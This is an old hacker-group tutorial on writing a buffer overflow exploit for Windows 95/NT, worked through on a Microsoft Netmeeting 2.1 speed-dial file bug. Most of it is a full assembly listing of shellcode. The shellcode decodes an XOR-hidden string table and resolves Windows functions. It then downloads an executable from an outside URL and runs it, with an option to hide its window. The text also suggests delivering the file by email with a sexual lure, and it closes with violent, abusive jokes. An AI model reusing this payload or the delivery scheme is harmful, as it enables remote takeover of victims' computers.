.-. _ _ .-.
/ / .-. ((___)) .-. / /
/.ooM / / / .-. [ x x ] .-. / / /.ooM /
/lucky 13/ / / / `-(' ')-' / / / /lucky 13/
/ / `-' (U) `-' / /
The Tao of Windows Buffer Overflow
as taught by
cDc Ninja Strike Force
9-dan of the Architecture
Sensei of the Undocumented Opcode
Throughout these ages
our operating systems
infested by bugs
The ignorant world
turns to Windows for safety
Safety from themselves
It is now the time
for the world to realize
that we all feel pain
Exploiting the buffer overflow takes patience, knowledge, skill, and imagination. I can not teach you patience, and I can can not clear your mind. I will however, give you the tools and concepts required to build your own exploits for buffer overflow bugs in the Windows 95, 98 and NT operating systems.
Before reading this document, you should be familiar with the following:
Intel x86 Assembly, preferably Pentium
General Windows System Architechture (you should know what the PE means in the PE-Executable)
Know what a URL is.
Have a working knowledge of C
The following tools are suggested to do anything useful:
A good hex editor/assembler/disassembler, such as HIEW
A realtime debugger, such as SoftICE
A few tools that come with Visual C++, DUMPBIN specifically.
After reading all of this, and gathering all of your tools, you may be thoroughly unprepared to read the following material. But hopefully you will understand what is so hard for so many to grasp. First, lets start with the very basics of what we are trying to understand. These are the fundamentals of buffer overflow.
A buffer overflow occurs when something very large is placed in a box far too small for it to fit. It's all gotta go somewhere. An example in code is as follows:
buffer[i]='A'; // !
As you can see, our 'buffer' gets filled with 256 'A's, followed by 256 more that just don't fit. The rest of those 'A's have to go somewhere.
And where they go depends on your operating system implementation and programming language, but if you don't have automatic bounds checking like Java, I guarantee you that those 'A's are going somewhere unfortunate.
Here is a picture of a healthy 32-bit stack, in such an operating system as Windows 9x/NT running on an Intel platform. It looks like what it should look like at the point marked * in the code above.
EBP-> Old Value of EBP
When the "func" procedure returns, it moves EBP back into ESP, and POP's the return address off the stack. When the above line of code marked '!' executes it overflows the buffer, writing 'A's over the old value of EBP and over the return address. By overwriting the return address, you can seriously alter the course of program flow. All you have to do is change the return address to point to a memory location of your choice, and the code you want to execute will be reached when this procedure decides to 'return'. If you stuff the buffer with code bytes, you can then reroute the EIP to them on the next RET, since the stack is considered executable memory in Windows 9x/NT on the Intel architecture.
The lesson on basics is over. If you have written a buffer overflow exploit on other operating systems or have fully mastered these basic concepts, we will go into detail on how to recognize the buffer overflow condition in Windows and proceed to detail on exploitation.
What It Looks Like
When you see something like this,
you probably hit some kind of buffer overflow. Sure the error is somewhat generic looking, but look a little closer at some of those values...
To get this to happen, I fed a string of 0x80 bytes into a popular conference package called 'Microsoft Netmeeting' through the address field of a 'speeddial' shortcut. EIP happens to be 0x80808080. Guess what? That's good! I found a stack overflow! Now all I have to do is craft my exploit string to have some fun code inside, and tweak four of those 0x80 bytes to point to my exploit string.
Note at this point that other types of errors will bring up similar dialog boxes, and that not all of them are buffer overflows. Some buffer overflows are easier to exploit than others as well. I will be going into the mechanics of stack overflows in Windows in this paper. Other types of overflows, such as heap overflows are exploitable, on Intel Win95/98/NT, but are beyond the scope of this paper by about 50 IQ points from the target audience.
Once you're pretty sure that you've found a buffer overflow, you need to decide what approach you're going to take, and find out what tools are available to you.
Hack me up!
Back me up!
How Can This Be Used?
Now we need to figure out what's really going on. To create the buffer overflow situation, I created a file called "overflow.cnf". CNF is a file format used by Microsoft Netmeeting when you save a 'SpeedDial' shortcut to disk. CNF files are commonly placed on people's webpages and in emails so that people on netmeeting will give them a call.
If you wanted to exploit this overflow, you could simply start up Netmeeting, find a bunch of people on the ILS server, and send them email with the CNF file attached. Just make the mail say something like: My girlfriend and I want you to watch us fuck while you spank it! Call us soon, we're horny! They'll click the icon. It may also be possible to fake a connection to an ILS server as well, creating a fake user and supplying the bogus address line with our exploit it in, so that if they click on the name, they get zapped. All kinds of fun owning the machines of horny men looking for titties on the net!
So. Let's do it! What do we have at our disposal? Well, the overflow is in 'RUNDLL32.EXE', which is of different sizes between Windows 95 and Windows NT. It's a safe bet to assume that they have different import tables (go ahead and verify that yourself with DUMPBIN). Oh, by the way, this particular overflow will only happen in Windows 95, but the exploit technology is valid for Windows NT as well. Netmeeting 2.1 was the version, by the way.
The Good And The Bad
When that crash occurs, and you hit 'close', you'll notice that Netmeeting itself does not close. This means that RUNDLL32 is being launched in a separate process space. This is both good, and bad. The good side is that you don't have a lot of complicated code to wade through and whatever you do, it won't look too suspicious, because Netmeeting didn't close. The bad side is that RUNDLL32 doesn't load too much in the way of DLL's or external resources. It looks like we'll have to load those on our own.
Upon further inspection, we have even more shit to deal with. An executable, such as RUNDLL32.exe has a base address of 0x00400000. This means that almost all references to the stack are going to have at least one NULL character in them. This is unfortunate, because it is almost always runaway string operations in C that cause these kind of overflow problems. Hence, if we write our code with null characters, we will harm our own exploit string because it will be truncated as it is manipulated. Other bad characters include line feed, carriage returns, some control codes, and in some extreme cases, even lowercase or uppercase letters, or characters whose ASCII value is greater >= 0x80 (one of the worst cases!) We're just going to have to be clever.
Other things we have to work with: MSCONF.DLL is loaded. This is because RUNDLL loaded it. We notice this because the command line for starting .CNF files is "rundll32.exe msconf.dll,OpenConfLink %l" as defined in the CNF file type. We can also assume that KERNEL32.DLL is loaded because KERNEL32 functions are listed in RUNDLL32's import table. Then again, KERNEL32 functions are also listed in the MSCONF.DLL import table. Lets look to see what would be more reliable: We're hacking Netmeeting 2.1. One version of the product. One version of MSCONF.DLL. There could be any version or revision of RUNDLL32 or KERNEL32 loaded from various OS versions or upgrades. Hence, if we were to reference an absolute virtual memory address, it had better be within MSCONF or else, we might be poking into the wrong places (version skew!). This is problematic, assuming that we want this exploit to work on all versions of the target OS.
So... we look at how other programs get their addresses. We want to be able to use internet functions to do fun stuff with our exploit code, so we are going to need to use WSOCK32.DLL or WININET.DLL. WinInet provides more functionality with less code, so we'll go with that for now. WININET is not loaded into the process space of RUNDLL32, so we'd have to load it. But wait! We haven't mentioned how to gain control of the EIP and point it to our code yet! So we shall...
Snatch that EIP!
Snatching the EIP
So we found that through a buffer overflow of the right length, we could modify the return address of some function and jump to code of our choice. It would seem natural then, for us to do something like the following:
Since the buffer size is 256 bytes (we figure that out by experimentation, slowly growing and shrinking the address= line length until we home in on the exact number of characters that cause it to crash) the above string will fill the buffer with 256 periods, overwrite EBP with 0x34333231 and set EIP to 0x00ZZYYXX, since the string ends with a null terminator. This lets us point to wherever we want in the stack because guess what, we're allowed 1 NULL at the very end!
In some cases, this works fine. But in other cases, the buffer is either too small for this to work and do something useful, or the buffer is first munged by a bunch of string ops or parsing. In many cases, putting the code AFTER the return address is a better idea, as follows:
In this case, you often get a lot more code space to work with for writing your exploit, but we don't get the added benefit of getting a free null character to form our stack jump address. Turns out that putting the code after the return address is what we'll need to do for this exploit. The stuff before the return address is destroyed before we get a chance to work with it. We end up jumping to 0xZZYYXXWW, where neither WW,XX,YY, or ZZ can be invalid chars. So where do we go? Somewhere that can take us where we want to go.
First, turn on your realtime debugger and put in an exploit string that will surely cause the thing to crash. Something that points to a blatantly bad address (set 0xZZYYXXWW to equal 0x34333231 for example. No code is in memory there, instant page fault). Now run it and let your debugger kick in. Examine the state, and see what you have to work with. In the case of this exploit, we find that ESP is the only register that points to anything anywhere near our exploit code. In fact, it points to the location where we blew over the saved EBP, plus 16 bytes. Ok... So what exactly are we trying to do?
We want to jump the stack. In fact, simply jumping to ESP should be sufficient. A clever way to do this is to set the 0xZZYYXXWW to point to a piece of code in memory that does a "jmp esp" or a "call esp" or something like that. But, to complicate issues, it has to be in a piece of code where no byte in the address is a "bad byte", especially 0x00. We find our magic code in MSCONF.DLL, loaded at 0x 6A 600000, offset 2A 76:
.00002A 76: 54 push esp
.00002A 77: 2404 and al,004
.00002A 79: 33C 0 xor eax,eax
.00002A 7B: 8A 0A mov cl,[edx]
.00002A 7D: 84C 9 test cl,cl
.00002A 7F : 740F je .000002A 90
.00002A 81: 80E930 sub cl,030 ;"0"
.00002A 84: 8D0480 lea eax,[eax][eax]*4
.00002A 87: 0FB 6C 9 movzx ecx,cl
.00002A 8A : 42 inc edx
.00002A 8B: 8D0441 lea eax,[ecx][eax]*2
.00002A 8E: EBEB jmps .000002A 7B
.00002A 90: C20400 retn 00004
This code doesn't look like it jumps to esp, but that's because it doesn't. It returns to ESP. The PUSH ESP happens, the jmps 2A 7B happens once, then the JE 2A 90 kicks in and pops us to a RET. This effectively jumps us to ESP. Heh. So all is well. MSCONF.DLL is loaded, and we can expect that this code is going to be in the same place all the time because we only have one version of MSCONF.DLL to worry about, and it has a fixed DLL base address. So our value of 0xZZYYXXWW is 0x 6A 602A 76. No nulls, no bad chars, no bullshit. We have now snatched the EIP. The processor is ours. Now to do something useful...
Back it up, I missed something.
Constructing the Exploit
We are now in control of the machine. We need to do something useful now, but we are limited on how long we can make our code. You'll notice that after about 763 characters, that we end up crashing in a different place. This is also an overflow, a different one. So Microsoft really has two bugs to fix, but hey, we're only exploiting one right now. If we have time, we'll get back to the other.
The first 256 characters get blown away so our code only has about 500 bytes of room in which to fit. Here's what we have to deal with:
500 byte maximum exploit length
We don't know what OS version we're running
We don't know where any useful functions are located
This kinda sucks, but let's look at this from a non-exploit point of view. If I was a little executable, compiled for Windows, I would run on both Win95 and WinNT. If I want to call ExitProcess, how do I know where the function is? It's in two different locations in Kernel32.DLL between the two OS's. (and in two different places between OSR1 and OSR2 of W95, and various service pack releases of WinNT, for that matter). I can't just jump to a random address.
I have to be told the location of these functions. There is a function in the Win32 API called "GetProcAddress". It returns the memory address of a function, given it's name and it's module handle. So what's the address of GetProcAddress? We don't know! We would have to call it to find out! So how does it work? Import tables.
Import tables are structures in the PE-Executable format that specify that the operating system should tell us the location of certain functions and fill in a table with the values. Use DUMPBIN to get the import table. Both DLLs and EXEs have import tables. We know that MSCONF.DLL is in memory, and that since we're only dealing with one version of MSCONF.DLL, if GetProcAddress was in it's import table, then the address for GetProcAddress was written to a fixed location in MSCONF.DLL's table space by the operating system when it was loaded.
So we dump it:
Microsoft (R) COFF Binary File Dumper Version 5.10.7303
Copyright (C) Microsoft Corp 1992-1997. All rights reserved.
Dump of file msconf.dll
File Type: DLL
Section contains the following imports:
And there we are! GetProcAddress, and LoadLibraryA! LoadLibrary can be used to get module handles of DLLs that are loaded, and to load DLLs that aren't loaded. It basically returns the DLL base address. This is important because the base address of the KERNEL32.DLL differs between NT and 95.
So we pop into our debugger and search through memory until we find the address of the functions. They appear at 0x 6A 60107C (LoadLibraryA), and 0x 6A 601078 (GetProcAddress). We just need to call these locations using an indirection (call dword ptr [0x 6A 60107C ]) and we'll go to the right places.
In order to be efficient, we are going to build our exploit in two parts:
Build a jumptable of the functions we intend to use, and
Run our code with reference to our own jumptable.
This reduces the amount of code required to call a function when necessary, and minimizes stack usage to save registers. This is important, because if we PUSH or POP too much, we might blow away our code or cause other stack problems. In order to build this jumptable though, we'll need to know ahead of time what Win32 functions we'll be calling. So lets figure out what we want to do. 500 bytes is far too small for a really useful Windows program, so instead, we'll make our little egg code download another program off of the internet, a larger, well constructed executable, and execute it. This will enable us to write this little tedious chunk once, and have it execute a piece of higher level code.
To download a URL, we'll need InternetOpenA, InternetCloseHandle, InternetOpenUrlA, and InternetReadFile from WININET.DLL. We'll also need _lcreat, _lwrite, and _lclose from KERNEL32.DLL to write the file to disk once downloaded. We'll need GlobalAlloc from KERNEL32.DLL to allocate memory for what we're downloading. We'll also want WinExec and ExitProcess (also in KERNEL32.DLL) to execute what we've downloaded, and kill the RUNDLL32 process that we so thoroughly corrupted (before it can make a sound).
Note that in a regular Win32 program, you would never call _lcreat, or any of the other obsolete functions. However, they exist in Win95 and NT, and they have far simpler calling syntax than CreateFile and friends. So we'll use 'em.
Show me the code!
What's an EIP again?
Creating our Jumptable
Now to create the jumptable.
Hurdle #1: We need to refer to the functions by name
That's right. GetProcAddress calls for either a function ordinal (which we can't use because they change from version to version), or a function name. A NULL terminated function name. Our exploit string has to have null characters in it? Oh shit! We should have thought of that earlier! That and we'll have to package this thing with a URL string as well for it to download!
So we be clever again. Since no character in any of our function names, or in our download URL is above ASCII 0x80, it's safe to tack all of the names and the url to the end of the exploit string, and XOR (or ADD for that matter) 0x80 to all of the string bytes. And when we start up the exploit, we simply XOR the tail of our exploit with 0x80's. This has the added advantage that the naked eye looking at the exploit string won't be able to tell exactly what we're trying to do. Not good encryption, but that's not the point. We're just trying to make it _work_.
So we tack the following crap to the end of the exploit string:
00000270: .. .. .. .. .. .. .. 4B-45 52 4E 45 -4C 33 32 00 KERNEL32
00000280: 5F 6C 63 72-65 61 74 00 -5F 6C 77 72-69 74 65 00 _lcreat _lwrite
00000290: 5F 6C 63 6C -6F 73 65 00-57 69 6E 45-78 65 63 00 _lclose WinExec
000002A 0: 45 78 69 74-50 72 6F 63-65 73 73 00-47 6C 6F 62 ExitProcess Glob
000002B0: 61 6C 41 6C -6C 6F 63 00-57 49 4E 49-4E 45 54 00 alAlloc WININET
000002C 0: 49 6E 74 65-72 6E 65 74 -4F 70 65 6E-41 00 49 6E InternetOpenA In
000002D0: 74 65 72 6E-65 74 43 6C -6F 73 65 48-61 6E 64 6C ternetCloseHandl
000002E0: 65 00 49 6E-74 65 72 6E-65 74 4F 70-65 6E 55 72 e InternetOpenUr
000002F 0: 6C 41 00 49-6E 74 65 72-6E 65 74 52-65 61 64 46 lA InternetReadF
00000300: 69 6C 65 00-68 74 74 70 -3A 2F 2F 77-77 77 2E 6C ile http://www.l
00000310: 30 70 68 74-2E 63 6F 6D -2F 7E 64 69 -6C 64 6F 67 0pht.com/~dildog
00000320: 2F 65 61 74-6D 65 2E 65-78 65 00 .. .. .. .. .. /eatme.exe
But we XOR it with 0x80 to eliminate the 00 bytes, as follows:
00000270: .. .. .. .. .. .. .. CB-C5 D2 CE C5-CC B3 B2 80 -+-++抖_? 00000280: DF EC E 3 F 2-E5 E 1 F 4 80-DF EC F 7 F 2-E 9 F 4 E5 80 __廮_玙______? 00000290: DF EC E3 EC-EF F3 E5 80-D7 E9 EE C5-F8 E5 E3 80 __廮___?__+僟彨
000002A 0: C 5 F 8 E 9 F 4-D 0 F 2 EF E3-E 5 F 3 F 3 80-C7 EC EF E2 +僟_-__廮_____
000002B0: E1 EC C1 EC-EC EF E3 80-D 7 C 9 CE C9-CE C5 D4 80 -___彨+++++++? 000002C 0: C9 EE F4 E5-F2 EE E 5 F 4-CF F0 E5 EE-C1 80 C 9 EE +_______-___-?_
000002D0: F4 E 5 F 2 EE-E 5 F 4 C 3 EC-EF F3 E 5 C 8-E1 EE E4 EC ______+____+__
000002E0: E5 80 C 9 EE-F4 E 5 F 2 EE-E 5 F 4 CF F0-E5 EE D 5 F 2 _?_______-___+_
000002F 0: EC C1 80 C 9-EE F4 E 5 F 2-EE E 5 F 4 D2-E5 E1 E 4 C 6 _-?_______-_? 00000300: E9 EC E5 80-E 8 F 4 F 4 F 0-BA AF AF F7-F 7 F 7 AE EC ___玙___丢猒__確
00000310: B 0 F 0 E 8 F 4-AE E3 EF ED-AF FE E4 E9-EC E4 EF E7 ____磸__猒______
00000320: AF E5 E 1 F 4-ED E5 AE E5-F8 E5 80 .. .. .. .. .. 猒__
Got it? Good.
Hurdle #2: We need to decode the string table
So our first task in the code is to decode this shit, so we make this the first thing it executes:
00000146: 33C 9 xor ecx,ecx
Clear ECX, we're gonna use this.
00000148: B88053FF63 mov eax,063FF5380 ;"c_S?
0000014D: 2C 80 sub al,080 ;"?
0000014F : C 1C 018 rol eax,018
Set EAX to the end of our data area in memory (we have to do this ugly funk so we don't get any NULL characters).
00000152: B1B4 mov cl,0B4 ;"?
ECX is now 0x000000B4, the number of characters we want to XOR.
00000154: 48 dec eax
00000155: 803080 xor b,[eax],080 ;"?
00000158: E2FA loop 000000154 ---------- (1)
And here's the XOR loop. Now we see why we XORed from the end of the memory. Now EAX points to the start of the data, and we can proceed to use it to reference the names. Now we move on to actually get our jumptable.
Hurdle #3: Loading all the procedure addresses
0000015A : BE 7C 10606A mov esi, 06A 60107C
0000015F : 50 push eax
00000160: 50 push eax
00000161: FF16 call d,[esi]
00000163: 8BF0 mov esi,eax
All this code does is call LoadModule. I didn't need to push twice there, but I was debugging, and hey, I forgot to remove it. NOP it out if you like. EAX pointed to the string "KERNEL32", which was the first argument to LoadModule. When LoadModule returns, it will put the kernel module handle in EAX, which we then save in ESI, so that it won't get blown away by calling other procedures.
00000165: 5B pop ebx
00000166: 8BFB mov edi,ebx
00000168: 6681EF4BFF sub di,0FF4B ;"_K"
This sets EDI to point to the base of our jumptable, which we place 181 bytes past the beginning of our decoded string table (in further stack space).
0000016D: FC cld
0000016E: 33C 9 xor ecx,ecx
00000170: 80E9FA sub cl,-006
We're going to loop six times, for the six procedures we're loading from the kernel. So now ECX=0x00000006.
00000173: 43 inc ebx
00000174: 32C 0 xor al,al
00000176: D7 xlat
00000177: 84C 0 test al,al
00000179: 75F 8 jne 000000173 ---------- (1)
0000017B: 43 inc ebx
This loop scans over the text, searching for a null character (move to the next string, in other words), and then points EBX the character one past the 0x00 byte. This moves us from one procedure name to the next. Note the 31337 use of XLAT. I like that. Our whole memory reference in one byte. Sweet.
0000017C : 51 push ecx
0000017D: 53 push ebx
0000017E: 56 push esi
0000017F : FF 157810606A call d,[ 06A 601078]
00000185: AB stosd
00000186: 59 pop ecx
This gets the procedure addresses for our functions, and places them in the table pointed to by EDI.
00000187: E2EA loop 000000173 ---------- (2)
Loop for all the kernel procedures.
Now that we're done with the kernel, we gotta repeat for the WININET procedures.
00000189: 43 inc ebx
0000018A : 32C 0 xor al,al
0000018C : D7 xlat
0000018D: 84C 0 test al,al
0000018F : 75F 8 jne 000000189 ---------- (2)
00000191: 43 inc ebx
This code only exists to move EBX past the name of the last kernel function and to the string "WININET" in our decoded string table.
00000192: 53 push ebx
00000193: 53 push ebx
00000194: FF 157C 10606A call d,[ 06A 60107C ]
0000019A : 8BF0 mov esi,eax
0000019C : 90 nop
0000019D: 90 nop
0000019E: 90 nop
0000019F : 90 nop
Yeah the NOPs and the double-push are more debugging shit. Get rid of them yourself if you don't like ' em there. This code gets the module handle (base address) of WININET.DLL. It stores it in ESI.
000001A 0: 33C 9 xor ecx,ecx
000001A 2: 83E9FC sub ecx,-004
000001A 5: 43 inc ebx
000001A 6: 32C 0 xor al,al
000001A 8: D7 xlat
000001A 9: 84C 0 test al,al
000001AB: 75F 8 jne 0000001A 5
000001AD: 43 inc ebx
000001AE: 51 push ecx
000001AF: 53 push ebx
000001B0: 56 push esi
000001B1: FF 157810606A call d,[ 06A 601078]
000001B7: AB stosd
000001B8: 59 pop ecx
000001B9: E2EA loop 0000001A 5
This is just a copy of the code used to get the addresses for the kernel functions, but this time it's getting the addresses of 4 WININET functions. I hope you don't need me to explain all of this twice, or you'll never finish reading this. OK! now we've built us a jumptable. EDI points to the dword past the end of the jumptable, so we can just reference our procedures indirectly from EDI now (call dword ptr [edi-16]). It's just like an import table, but more fun!
Now that we have harnessed all of our tools, they are mere keystrokes away. It's time to get to the meat.
Where's the 0x0000BEEF?
This makes no sense. I hate you.
Time to do what we've come here to do. Lets write this thing:
000001BB: 90 nop
000001BC: 90 nop
000001BD: 33C 0 xor eax,eax
000001BF: 6648 dec ax
000001C 1: D1E0 shl eax,1
000001C 3: 33D2 xor edx,edx
000001C 5: 50 push eax
000001C 6: 52 push edx
000001C 7: FF57EC call d,[edi][-0014]
000001CA: 8BF0 mov esi,eax
This code allocates 131070 bytes of memory. EAX gets 131070, and we call GlobalAlloc, indirectly addressed from our jumptable -0x14 bytes from EDI. This stores the memory address in ESI. The type of GlobalAlloc is GMEM_FIXED (0), which results in a memory address being returned rather than an unlocked handle.
000001CC: 33D2 xor edx,edx
000001CE: 52 push edx
000001CF: 52 push edx
000001D0: 52 push edx
000001D1: 52 push edx
000001D2: 57 push edi
000001D3: FF 57F 0 call d,[edi][-0010]
Then, we create an Internet handle with a call to InternetOpenA. All the parameters to InternetOpenA are zero in this case, so we're in luck.
The internet handle is returned in EAX and we'll immediately set it up as a parameter to the next function we call...
000001D6: 33D2 xor edx,edx
000001D8: 52 push edx
000001D9: 52 push edx
000001DA: 52 push edx
000001DB: 90 nop
000001DC: 52 push edx
000001DD: 8BD7 mov edx,edi
000001DF: 83EA50 sub edx,050 ;"P"
000001E2: 90 nop
000001E3: 90 nop
000001E4: 90 nop
000001E5: 52 push edx
000001E6: 50 push eax
000001E7: FF 57F 8 call d,[edi][-0008]
This code makes a call to InternetOpenUrlA (at [EDI-0x08]), invoking our chosen URL. The URL type is unspecified in the code, so the URL can be HTTP,FTP,FILE,GOPHER,... whatever the hell you want.
000001EA: 57 push edi
000001EB: 33D2 xor edx,edx
000001ED: 664A dec dx
000001EF: D1E2 shl edx,1
000001F 1: 52 push edx
000001F 2: 56 push esi
000001F 3: 50 push eax
000001F 4: FF57FC call d,[edi][-0004]
This code uses InternetReadFile (at [EDI-0x04]) to download up to 131070 bytes into our memory buffer (pointer in ESI). Note that we first pushed EDI. EDI is where we're going to store the count of how many bytes are actually read. This is needed to save the file to disk with the right size.
Note that there is a limit to the size of the exploit executable you can download. Awww. If that's too small, then too fuckin bad. What the fuck are you writing anyway, an MFC exploit? Shit...
000001F 7: 90 nop
000001F 8: 90 nop
000001F 9: 90 nop
000001FA: 33D2 xor edx,edx
000001FC: 52 push edx
000001FD: 8BD7 mov edx,edi
000001FF: 83EA30 sub edx,030 ;"0"
00000202: 42 inc edx
00000203: 90 nop
00000204: 90 nop
00000205: 52 push edx
00000206: FF57D8 call d,[edi][-0028]
This calls _lcreat (at [edi-0x28]) to create a file in which to dump our memory buffer. Time to give this data a home! The filename is chosen by looking at the last 5 characters of the url. In this case, it's "e.exe". The file will be created in the place where exploit was launched (usually the person's SpeedDial directory in the case of Netmeeting).
00000209: FF37 push d,[edi]
0000020B: 56 push esi
0000020C : 50 push eax
0000020D: 8BD8 mov ebx,eax
0000020F : FF57DC call d,[edi][-0024]
And now we do the actual write to disk with a call to _lwrite (at [edi-0x24]). The parameter for the number of bytes to write is located at [edi]. We also push the buffer location and the file handle returned by _lcreat. Before we call the function though, we save the handle in EBX, which is not modified by _lwrite.
00000212: 53 push ebx
00000213: FF57E0 call d,[edi][-0020]
And then we close the file handle to get things committed. Now all that's left is to execute the file we downloaded and exit this process. We aren't going to bother cleaning up the memory allocation or anything like that. That would be nice, but fuck it, we're not here to be nice.
00000216: 90 nop
00000217: 90 nop
00000218: 90 nop
00000219: 33D2 xor edx,edx
0000021B: 42 inc edx
0000021C : 52 push edx
0000021D: 8BD7 mov edx,edi
0000021F : 83EA30 sub edx,030 ;"0"
00000222: 42 inc edx
00000223: 90 nop
00000224: 90 nop
00000225: 52 push edx
00000226: FF57E4 call d,[edi][ -001C ]
Alright, now we just tell WinExec to run the executable! Note that the first 'inc edx' is to select "Show Window" mode for the executable. If you want the executable to run in 'hidden' mode, you should nop that line out, and it will use SW_HIDE instead of SW_SHOWNORMAL as the second parm to WinExec. the first parm is the filename. Run it!
00000229: 90 nop
0000022A : 90 nop
0000022B: 90 nop
0000022C : FF57E8 call d,[edi][-0018]
And now we're done with this process. ExitProcess will clean up our mess. And so it was done.
Awwww yeah that felt good.
Take me back.
This code that I have explained can be used as an overflow egg for any Windows 95 or NT program. It is theorized to work in a Windows 98 environment. The example Netmeeting 2.1 exploit that I used throughout this explanation is a Win95 only flaw, but for other operating systems, the code, and technology remains the same. The Netmeeting flaw is not patched as of this writing, but expect it to be fixed sometime. Learn. Experience. And send me all of your money.
Now you can start ruling the world. Have fun with this knowledge. Rob from the rich, and rob from the poor. Eat your cat. Kill your parents. Blow up your local elementary school. Rape young farm animals. Do whatever your sick and twisted mind can fathom. And when you get caught, just tell 'em Satan made you do it.
Oh yeah, and I almost forgot. Here's the whole toy put together.
Take me to the top. I want to read those haikus again.
Take me back.